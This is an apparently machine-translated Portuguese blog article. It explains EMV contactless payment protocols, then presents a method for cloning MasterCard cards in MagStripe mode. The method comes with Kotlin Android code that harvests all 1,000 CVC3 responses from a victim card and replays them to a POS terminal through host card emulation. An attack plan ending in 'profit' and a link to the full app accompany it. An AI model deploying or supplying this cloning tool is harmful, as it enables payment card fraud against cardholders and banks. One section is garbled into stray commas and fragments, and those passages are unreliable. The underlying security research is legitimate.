Clonar um cartão sem contato usando um aplicativo móvel

Sempre foi interessante ver o que está acontecendo em um cartão bancário sob o capô. Como o protocolo de comunicação de um cartão bancário e um terminal POS é implementado, como funciona e como é seguro. Essa oportunidade apareceu diante de mim quando eu estava fazendo um estágio na Digital Security. Como resultado, ao analisar uma vulnerabilidade conhecida de cartões EMV no modo MagStripe, decidiu-se implementar um aplicativo móvel capaz de se comunicar com o terminal por meio de uma interface sem contato, usando seus próprios comandos e uma análise detalhada de solicitações e respostas. E também tente implementar o método de clonagem de cartões MasterCard no modo MagStripe.

Neste artigo, tentarei descrever o que é um cartão EMV, como ele funciona e como usar o Android, você pode tentar clonar seu cartão MasterCard.

"Há algumas coisas que o dinheiro não pode comprar. Para todo o resto, há MasterCard »

O que é um cartão EMV?

EMV é o padrão internacional para cartões bancários com chip. E uropay + M asterCard + V ISA participaram do desenvolvimento deste padrão, daí o nome. Vamos tentar descobrir como o cartão se comunica com o terminal POS através de uma interface sem contato.

Vamos começar com o básico.

Um cartão EMV físico sem contato funciona quase da mesma forma que uma etiqueta RFID. Se for básico, o chip entra no campo eletromagnético e, em um circuito condutor fechado (no nosso caso, será uma antena localizada ao redor do perímetro), colocada em um campo magnético alternado, é gerada uma corrente elétrica alternada. Essa corrente carrega um capacitor especial conectado em paralelo ao circuito ressonante da placa. A energia armazenada no capacitor é usada para executar um cartão de microcircuito para várias operações. Quando o leitor altera o campo eletromagnético, as alterações serão notadas imediatamente no chip. Usando modulação de sinal, podemos transmitir informações em formato binário. Se você conectar a resistência à carga no cartão e / ou alterar a capacitância do capacitor, poderá alterar a força da corrente no circuito do cartão, o que levará a uma alteração no campo eletromagnético criado por ele na área do circuito do leitor, para que o cartão transmita dados. O leitor terá que detectar essas alterações. Essa interação física é regida pela norma ISO / IEC 14443 "Cartões de identificação - cartões de circuito (s) integrado (s) sem contato - cartões de proximidade" .

O chip de cartão em si é um cartão inteligente que executa o JavaCard, uma versão separada do Java para plataformas com poucos recursos de computação e suporte para algoritmos criptográficos. O JavaCard baixa applets, que são aplicativos. Há também um GlobalPlatform é um determinado padrão para JavaCard, que fornece a capacidade de gerenciar dados com segurança no mapa e permite baixar, modificar e excluir aplicativos no mapa. Neste artigo, não consideraremos os mecanismos de segurança do próprio cartão inteligente. Basta saber que os dados protegidos, por exemplo, a chave privada e a chave mestra secreta do cartão, estão em um local seguro e é impossível removê-los usando meios padrão.

Recordo também uma pequena terminologia para aqueles que não estão familiarizados.

Terminal POS (ponto de venda) - o dispositivo de um vendedor que lê um cartão e inicia um pagamento. Além disso, chamaremos este dispositivo simplesmente de terminal.
O banco emissor é o banco que emitiu seu cartão.
Banco Adquirente - um banco que emite terminais POS para vendedores e processa pagamentos deles.
O sistema de pagamento é o elo central entre o banco adquirente e o banco emissor, absolutamente todos os pagamentos passam por ele e sabe qual banco deve transferir dinheiro para quanto. Existem muitos sistemas de pagamento no mundo, além dos conhecidos Visa e MasterCard, também existem American Express , China UnionPay e o sistema de pagamentos russo MIR .

Bem, o cartão e o leitor podem se comunicar. Eles enviam comandos APDU uns aos outros na forma de Tag-Length-Value, ou seja, o nome da tag é transmitido em hexadecimal, seu comprimento e valor próprio. Todos os comandos são descritos, é claro, na documentação e se parecem com isso:



A transação EMV padrão ocorre em várias etapas; descreverei o algoritmo de interação completo no caso de uma interface de contato; para uma interface sem contato, o algoritmo é um pouco reduzido:

• Seleção de aplicativos;
• Inicialização do processamento de aplicativos;
• Lendo dados do aplicativo
• Autenticação offline
• Restrições de processamento;
• Cheque do titular do cartão;
• Gerenciamento de riscos na lateral do terminal;
• Análise de ações terminais;
• Gerenciamento de riscos no lado do cartão;
• Análise das ações do cartão;
• Processamento on-line;
• A conclusão da operação.

Consideramos brevemente cada operação.

Seleção de aplicativos. Muitas vezes, pode haver vários aplicativos em um cartão. Por exemplo, um cartão bancário e uma passagem de viagem. E o terminal de alguma forma precisa descobrir onde e qual algoritmo usar. O chamado Application Identifier (AID ) é usado para selecionar um aplicativo. Para entender isso, o terminal envia um comando SELECT . Por exemplo, o AID do cartão Visa Classic terá a seguinte aparência: A0000000031010 . Se vários desses códigos responderem e o terminal puder funcionar com várias aplicações, o terminal exibirá uma lista e oferecerá a seleção da aplicação necessária. Se o terminal não suportar nenhum código de aplicação, a operação será rejeitada pelo terminal.

Inicializando o processamento do aplicativo. Aqui, a localização geográfica é verificada primeiro. Por exemplo, os cartões Maestro Momentum podem funcionar apenas para pagamento na Rússia. Esse estágio é realizado para fornecer aos emissores a oportunidade de aplicar os métodos de gerenciamento de risco online existentes ao realizar operações offline. Nesse estágio, uma transação EMV pode ser cancelada por iniciativa do próprio cartão, se esse tipo de transação for proibido pelo emissor em um determinado país do mundo. Além disso, o cartão transmite ao terminal um conjunto de informações especialmente estruturadas, contendo uma descrição da funcionalidade do cartão e do aplicativo.

Leia os dados do aplicativo. Vários dados do cartão necessários para a transação são transmitidos ao terminal, por exemplo, número do cartão, data de validade, contador de transações e muitos outros dados. Alguns deles serão discutidos mais tarde.

Dados de exemplo:



Um certificado da chave pública do banco emissor e do próprio cartão também é transmitido. Para que o terminal possa verificar a assinatura digital de alguns dados do cartão, é usada a infraestrutura PKI (Public Key Infrastructure). Em resumo, o sistema de pagamento possui um par de chaves - públicas e privadas, e o sistema de pagamento é para todos os participantes da CA (Autoridade Central) . De fato, o sistema de pagamento de cada banco do emissor emite um novo par de chaves e, ao mesmo tempo, gera um certificado da chave pública do banco do emissor, assinando-o com a chave privada CA. Além disso, quando o banco emite um novo cartão, gera um par de chaves para o cartão e também gera um certificado da chave pública do cartão, assinando-o usando a chave privada do banco. Nos terminais, um certificado de chave pública é normalmente conectado a vários sistemas de pagamento. Assim, quando o cartão transmite o certificado de chave pública do banco do emissor e o próprio certificado do cartão, o terminal pode verificar facilmente toda a cadeia usando a chave pública do sistema de pagamento. O terminal, usando a chave pública do sistema de pagamento, primeiro verifica a autenticidade do certificado bancário do emissor, se for genuíno, então pode ser confiável e agora, usando o certificado bancário do emissor, você pode verificar o certificado do próprio cartão. Mais detalhes no artigo sobre segurança EMV .

Autenticação offline. O terminal determina o tipo de método de autenticação offline suportado. Há estático ( Autenticação de Dados Estáticos - SDA ), dinâmico ( Autenticação de Dados Dinâmicos - DDA ) e combinado ( Autenticação de Dados Combinados - CDA ). Esses métodos também são baseados na PKI. O SDA é apenas um dado assinado na chave privada do banco do emissor, DDA - o terminal envia um número aleatório e o cartão deve assiná-lo usando sua chave privada, e o terminal verificará essa assinatura usando o certificado de cartão recebido anteriormente, para que o terminal verifique se o cartão realmente tem uma chave privada - portanto, é genuíno. CDA é apenas uma combinação de ambos.

Restrições de manuseio. Aqui, o terminal verifica os dados recebidos anteriormente do cartão quanto à condição de adequação para esta operação. Por exemplo, ele verifica as datas de início / término da Data de vencimento do aplicativo (Tag '5F24') e Data efetiva do aplicativo (Tag '5F25') . Ele também verifica a versão do aplicativo. Os resultados das operações realizadas nesta fase também são registrados no relatório TVR (resultados da verificação do terminal) . Com base nos resultados desse estágio, a transação não pode ser cancelada, mesmo que, por exemplo, o aplicativo tenha expirado.

Cheque do titular do cartão. A verificação do titular do cartão é realizada para autenticar a pessoa que forneceu o cartão e verificar se ele é o verdadeiro proprietário do cartão. O padrão EMV fornece vários métodos de verificação do titular do cartão . Os métodos de verificação são definidos no terminal e no mapa. Eles estão contidos nas chamadas listas CVM . No processo de execução, o terminal e o cartão comparam as listas CVM recebidas e selecionam o método de verificação geral.

Lista de métodos de verificação suportados:

• Não é necessária CVM ('011111'b);
• Falha no processamento do CVM ('000000'b);
• Assinatura ('011110'b);
• PIN codificado verificado on-line ('000010'b);
• Verificação de PIN de texto sem formatação realizada pela ICC ('000001'b);
• Verificação de PIN de texto sem formatação realizada pela ICC e assinatura ('000011'b);
• Verificação de PIN codificado realizada pela ICC ('000100'b);
• Verificação do PIN codificado realizada pela ICC e assinatura ('000101'b).

Aqui também há informações interessantes sobre esse assunto.

Gerenciamento de riscos na lateral do terminal. Nesta fase, o terminal realiza uma verificação interna dos parâmetros da transação, com base nas configurações de gerenciamento de risco do banco adquirente. Os procedimentos de gerenciamento de riscos podem ser executados pelo terminal a qualquer momento entre a conclusão do processo de leitura dos dados do cartão e a formação do primeiro comando GENERATE AC pelo terminal. O gerenciamento de riscos no lado do terminal inclui três mecanismos:

• controle do tamanho das operações realizadas no cartão ( verificação de limite de piso );
• seleção de transação aleatória para autorização on-line desta transação pelo emissor ( Seleção de transação aleatória );
• verificação da atividade offline do uso do cartão ( verificação de velocidade ).

Análise de ações terminais. Nesta fase, o terminal analisa os resultados das etapas anteriores da transação. Com base nos resultados da análise, o terminal decide se deve realizar a operação on-line, permitir que ela seja executada off-line ou rejeitar a operação.

Gerenciamento de riscos no lado do cartão. O cartão, tendo recebido do comando GENERATE AC dados sobre a transação, o terminal e os resultados das verificações do terminal, por sua vez, executa seus próprios procedimentos de gerenciamento de riscos e toma sua própria decisão sobre como concluir a operação.

Análise das ações do cartão. Nesse estágio, o cartão conclui os procedimentos de gerenciamento de riscos e gera um criptograma de resposta no terminal. Se o cartão decidir aprovar a transação, um certificado de transação será gerado. Se o cartão decidir executar a operação em tempo real, ele gera um ARQC (Cryptograma de solicitação de autorização) . Se o cartão usar métodos de autorização alternativos, será usada a referência de autorização do aplicativo . Caso o cartão rejeite a transação, o criptograma de autenticação do aplicativo .

É necessário outro criptograma do ARPC (Authorization Response Cryptoggram) para autenticar o emissor. O emissor gera um ARPC do criptograma e envia o criptograma para o cartão; se o cartão confirma o criptograma, o emissor é autenticado pelo cartão.

Um pouco sobre a segurança das chaves e a autenticação mútua do cartão e do emissor do livro de I. M. Goldovsky:

O significado da autenticação mútua é que o cartão e o terminal se autenticam usando a autenticação dos criptogramas ARQC e ARPC. Criptogramas são dados gerados usando uma chave secreta (que é conhecida pelo cartão e pelo banco ao emissor), número da transação, número aleatório gerado pelo terminal, além de alguns detalhes da transação, terminal e cartão. No caso do ARPC, o código de resposta da autorização do emissor também é adicionado aos dados listados. Sem conhecer a chave secreta do cartão para gerar um criptograma, é impossível calcular os valores ARQC / ARPC no tempo previsível com o nível atual de tecnologia e, portanto, o fato de sua verificação bem-sucedida indica a autenticidade do cartão e do emissor. A autenticação online é a maneira mais confiável de autenticar um cartão. Isso se deve ao fato de ser realizado diretamente pelo emissor, sem intermediário na forma de terminal. Além disso, o algoritmo 3DES com uma chave temporária de 112 bits é usado para autenticação online, cuja força criptográfica corresponde à força criptográfica do algoritmo RSA com o comprimento do módulo de chave assimétrica usado para autenticação offline do aplicativo de cartão que excede 1700 bits. O uso de chaves assimétricas desse tamanho no cartão ainda é bastante raro. Normalmente, chaves com um comprimento de módulo de 1024, 1152 ou 1408 bits são usadas.

Por fim, uma transação online passa por uma cadeia:
Cartão <--> POS-Terminal <--> Banco Adquirir <--> Sistema de Pagamento <--> Emissor do Banco.

Clone MasterCard no modo MagStripe

Prosseguimos diretamente com o princípio da clonagem. Este método de ataque por cartão sem contato foi publicado por dois pesquisadores Michael Roland, Josef Langer, da Universidade da Áustria. É baseado em um princípio geral chamado Skimming . Esse é um cenário no qual um invasor rouba dinheiro de um cartão bancário lendo (copiando) as informações desse cartão. No caso geral, é importante manter o PIN em segredo e não vazá-lo. Mas, no método dos austríacos, não precisamos saber disso. A clonagem de um cartão de pagamento é bem-sucedida na versão do kernel do aplicativo EMV Contactless Kernel 2. A versão deste protocolo suporta dois modos de operação para cartões sem contato: o protocolo EMV (MasterCard PayPass M / Chip) e o modo MagStripe (MasterCard PayPass MagStripe) .

MagStripe é um modo de suporte de cartão de tarja magnética. Este modo é implementado em cartões MasterCard com uma interface sem contato. O modo MagStripe é provavelmente necessário para bancos que acham difícil transferir toda a infraestrutura para suportar transações EMV sem contato com chip. A propósito, os cartões Visa também têm um modo de operação semelhante - PayWave MSD (Magnetic Stripe Data) .

O processo de processamento de transações para cartões sem contato é truncado em comparação com cartões com chip e geralmente funciona no seguinte modo:

1. O terminal envia um comando SELECT PPSE (Proximity Payment System Environment). O cartão envia uma lista de aplicativos suportados.
2. O terminal envia um comando SELECT . Em resposta, ele recebe os detalhes necessários do aplicativo.
3. O terminal envia o comando GET_PROCESSING_OPTIONS . O cartão responde que tipo de autenticação ele suporta e se a verificação do titular do cartão existe lá.
4. O terminal envia o comando READ_RECORDS . O cartão em resposta envia o Track1 e o Track2 quase os mesmos que os registrados na tira magnética do cartão.
5. O terminal envia o comando COMPUTE_CRYPTOGRAPHIC_CHECKSUM . O que significa que o cartão deve gerar um valor CVC3 com base no número imprevisível passado.

O cartão suporta o comando especial COMPUTE CRYPTOGRAPHIC CHECKSUM, cujo argumento são os dados definidos no UDOL (Unpredictable Number Data Object). Como resultado, o cartão que utiliza o algoritmo 3DES e a chave secreta calcula o valor dinâmico CVC3 (Código de verificação do cartão). Como argumento para a função 3DES, a concatenação dos dados UDOL e o contador de transações (Application Transaction Counter, ATC) são usados. Assim, o valor do CVC3 sempre depende dos objetos UN e ATC.

Em outras palavras, esse comando é necessário para que o cartão gere uma certa “assinatura” para que o emissor possa verificar o cartão. No entanto, a assinatura da transação em si está ausente nessa assinatura. A assinatura contém valores ATC - 2 bytes , CVC3 (Faixa1) - 2 bytes , CVC3 (Faixa2) - 2 bytes , que são gerados pelo cartão com base na chave secreta, que o banco emissor e o contador de transações (ATC) também conhecem. Ao mesmo tempo, para gerar a assinatura, o terminal POS informa o cartão ONU (número imprevisível) - 4 bytes, que também é usado na geração da assinatura. Número imprevisível impede a geração de códigos de autenticação em um cartão real para uso posterior em transações fraudulentas. Para o ataque, a ONU interfere fortemente conosco, pois não é possível enumerar 4 bytes sem ir além dos limites do contador de transações. No entanto, existem algumas fraquezas na especificação disso.

Em primeiro lugar, a especificação restringe a ONU à codificação de números, ou seja, o Código Decimal Binário (BCD) , o que significa essencialmente que, se observarmos um número codificado em HEX, veremos apenas números de 0 a 9, todos os outros valores serão considerados. como se proibido. Assim, a quantidade de ONU diminui de 4.294.967.295 para 99.999.999.

Em segundo lugar, o número de dígitos significativos da ONU é determinado pelo cartão. Assim, dependendo dos parâmetros especiais nas faixas, o número de dígitos na ONU pode ser de 10 a 10000, dependendo do tipo de cartão, na prática, na maioria dos casos, são encontrados 1000 valores.

Assim, o plano de ataque é o seguinte:

1. Lemos o cartão e descobrimos o número de dígitos significativos da ONU, que o terminal fornecerá
2. Classificamos todas as UNs, obtemos todos os valores possíveis da função COMPUTE_CRYPTOGRAHIC_CHECKSUM e os salvamos na tabela correspondente com o mapeamento UN -> Result
3. Nós o levamos ao terminal do PDV, descobrimos o número que o terminal do PDV solicita.
4. Selecionamos o resultado desejado da tabela e o substituímos em resposta ao terminal.
5. A transação está saindo.
6. LUCRO. Mas o sucesso da aprovação da transação não é garantido, porque o banco emissor pode rejeitar essa transação.

Também é importante notar que o contador de transações (ATC) impede a reutilização de códigos de autenticação usados ​​anteriormente, o que significa que, se usamos esse ataque, devemos copiar o cartão novamente, pois o contador de transações já foi usado para obter informações e foi usado na assinatura, o que significa se tivéssemos um contador de transações de 1.000 e depois de enviarmos a transação ao banco, o banco não aceitará mais transações com um contador abaixo de <1001. , 2 , , 65 , .

. , COMPUTE_CRYPTOGRAPHIC_CHECKSUM . CVC3 , SELECT , GET_PROCESSING_OPTIONS , COMPUTE_CRYPTOGRACHIC_CHECKSUM . CVC3. , 1000 Google Galaxy Nexus S .

Terminal Simulator MasterCard. NFC- . . POS- . , .



NFC ACR122 .



. Kotlin Android. .

data class Command( var CLA: String = 0x00.toString(), var INS: String = 0x00.toString(), var P1: String = "", var P2: String = "", var Lc: String = "", var Nc: String = "", var Le: String = "", var Nr: String = "", var SW1WS2: String = "" ) { fun split(): ByteArray { return getHexString().hexToByteArray() } fun getHexString() = CLA.plus(INS).plus(P1).plus(P2).plus(Lc).plus(Nc).plus(Le).plus(Nr).plus(SW1WS2) } 

Primeiro, precisamos configurar o trabalho com NFC. No telefone, podemos trabalhar em dois modos. No modo cartão, é quando respondemos aos comandos do terminal e no modo terminal, quando enviamos comandos e lemos, por exemplo, um cartão. I.e. primeiro, podemos clonar o cartão e, em seguida, garantir que respondamos às solicitações do terminal com comandos já preparados.

A seguir, uma implementação simplificada da interação com a NFC:

  private var nfcAdapter: NfcAdapter? = null /*!< represents the local NFC adapter */ private var tag: Tag? = null /*!< represents an NFC tag that has been discovered */ private lateinit var tagcomm: IsoDep /*!< provides access to ISO-DEP (ISO 14443-4) */ private val nfctechfilter = arrayOf(arrayOf(NfcA::class.java.name)) /*!< NFC tech lists */ private var nfcintent: PendingIntent? = null .... override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_main) nfcAdapter = NfcAdapter.getDefaultAdapter(this) nfcintent = PendingIntent.getActivity(this, 0, Intent(this, javaClass).addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0) cardEmulation = CardEmulation.getInstance(nfcAdapter) nfcAdapter?.enableForegroundDispatch(this, nfcintent, null, nfctechfilter) } .... override fun onNewIntent(intent: Intent) { super.onNewIntent(intent) tag = intent.getParcelableExtra(NfcAdapter.EXTRA_TAG) cardReading(tag) } ..... override fun onResume() { super.onResume() if (canSetPreferredCardEmulationService()) { this.cardEmulation?.setPreferredService(this, ComponentName(this, "com.nooan.cardpaypasspass.NfcService")); } } override fun onPause() { if (canSetPreferredCardEmulationService()) { this.cardEmulation?.unsetPreferredService(this) } super.onPause() } private fun cardReading(tag: Tag?) { tagcomm = IsoDep.get(tag) try { tagcomm.connect() } catch (e: IOException) { error = "Reading card data ... Error tagcomm: " + e.message Toast.makeText(applicationContext, error, Toast.LENGTH_SHORT).show() return } try { when { commands != null -> readCardWithOurCommands() mChip -> readCardMChip() else -> readCardMagStripe() } } catch (e: IOException) { error = "Reading card data ... Error tranceive: " + e.message Toast.makeText(applicationContext, error, Toast.LENGTH_SHORT).show() return } finally { tagcomm.close() } } protected fun execute(command: Command, log:Boolean): ByteArray { val bytes = command.split() listLogs.add(bytes.toHex()) val recv = tagcomm.transceive(bytes) listLogs.add(recv.toHex()) return recv } 

Isso descreve a sequência de comandos e enumera os valores de Número imprevisível em um ciclo de 0 a 999, alteramos Nc para “00000 $ {String.format ("% 03d ", i)}". Substitua (".. (?! $ ) ". toRegex ()," $ 0 "). E não esqueça de executar GET_PROCESSING_OPTIONS todas as vezes antes de COMPUTE_CRYPTOGRAPHIC_CHECKSUM, caso contrário, o valor do cheque não será calculado.

Como resultado, tudo isso pode ser gravado em um arquivo e usado já ao trabalhar com este terminal. Aqui temos o nome e o número do cartão, podemos exibi-lo na tela.

  private fun readCardMagStripe() { try { var response = execute(Commands.SELECT_PPSE) //       val select = Commands.SELECT_APPLICATION.apply { Nc = response.toHex().substring(52, 68) SW1WS2 = "00" } val cardtype: String = getTypeCard(select.split()) execute(select) execute(Commands.GET_PROCESSING_OPTIONS) response = execute(Commands.READ_RECORD_1.apply { P2 = "0C" Lc = "00" Le = "" Nc = "" }) if (cardtype === "MasterCard") { cardnumber = "Card number: ${response.getCards()}" cardexpiration = "Card expiration: ${response.getExpired()}" showData() for (i in 0..999) { execute(Commands.GET_PROCESSING_OPTIONS, false) execute(Commands.COMPUTE_CRYPTOGRAPHIC_CHECKSUM.apply { Lc = "04" Nc = "00000${String.format("%03d", i)}".replace("..(?!$)".toRegex(), "$0 ") }) } } finishRead() } 

Um conjunto de comandos que precisamos.

 object Commands { val SELECT_PPSE = Command(CLA = "00", INS = "A4", P1 = "04", P2 = "00", Lc = "0E", Nc = "32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00") val SELECT_APPLICATION = Command(CLA = "00", INS = "A4", P1 = "04", P2 = "00", Nc = "07") val GET_PROCESSING_OPTIONS = Command(CLA = "80", INS = "A8", P1 = "00", P2 = "00", Lc = "02", Nc = "83 00", Le = "00") val READ_RECORD_1 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "14", Lc = "00", Le = "00") val READ_RECORD_2 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "1C", Lc = "00", Le = "00") val READ_RECORD_3 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "24", Lc = "00", Le = "00") val READ_RECORD_4 = Command(CLA = "00", INS = "B2", P1 = "02", P2 = "24", Lc = "00", Le = "00") val COMPUTE_CRYPTOGRAPHIC_CHECKSUM = Command(CLA = "80", INS = "2A", P1 = "8E", P2 = "80", Le = "00") } 

Para implementar a escuta telefônica de comandos do terminal, você precisa iniciar o serviço e declará-lo no manifesto. Neste serviço, um comando do terminal trata processCommandApdu, o comparamos com o que está armazenado no arquivo e fornecemos a resposta, que está escrita na próxima linha.

  <service android:name=".NfcService" android:exported="true" android:permission="android.permission.BIND_NFC_SERVICE"> <intent-filter> <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> <meta-data android:name="android.nfc.cardemulation.host_apdu_service" android:resource="@xml/apdu_config" /> </service> 

 class NfcService : HostApduService() { fun getData(context: Context?): List<Command> { var list: List<Command> = arrayListOf() filePath?.let { if (it.isNotBlank()) { list = getCommands(Uri.fromFile(File(it)).readTextFromUri(context), this::showError) } else { Toast.makeText(applicationContext, "Not found file path", Toast.LENGTH_SHORT).show() } } return list } private var commands: List<Command>? = arrayListOf() override fun processCommandApdu(apdu: ByteArray?, bundle: Bundle?): ByteArray { commands = getData(applicationContext) commands?.forEachIndexed { i, command -> if (apdu.toHex() == command.getHexString()) { return commands!![i+1].split() } } Log.e("LOG", "Finnish") return Value.magStripModeEmulated.hexToByteArray() } 

Algumas capturas de tela do aplicativo. Lemos o log do cartão e do parsim:



Assim, é possível simular a operação de um cartão EMV sem contato em um telefone com dados do cartão. Felizmente ou infelizmente para alguém, esse ataque não funciona na Rússia. De acordo com nossos experimentos, a transação chegava o tempo todo ao banco do emissor e era rejeitada pelo próprio banco. Além disso, não foi possível realizar uma transação offline usando o MagStripe. No entanto, esse ataque pode muito bem ser implementado em outros países onde o uso do modo MagStripe é bastante comum e o algoritmo de gerenciamento de riscos é um pouco diferente, por exemplo, nos EUA.

Links com a ajuda deste artigo

Cartões de microprocessadores bancários / I.M. Goldovsky - M.: TsIPSiR: Alpina Pub Lakers, 2010 - 686 p.
Projeto EMV: passo a passo
Pesquisa de pesquisadores austríacos
Link para o código do aplicativo
Simulador de terminal.

Obrigado ao barracud4 por me ajudar a preparar este artigo.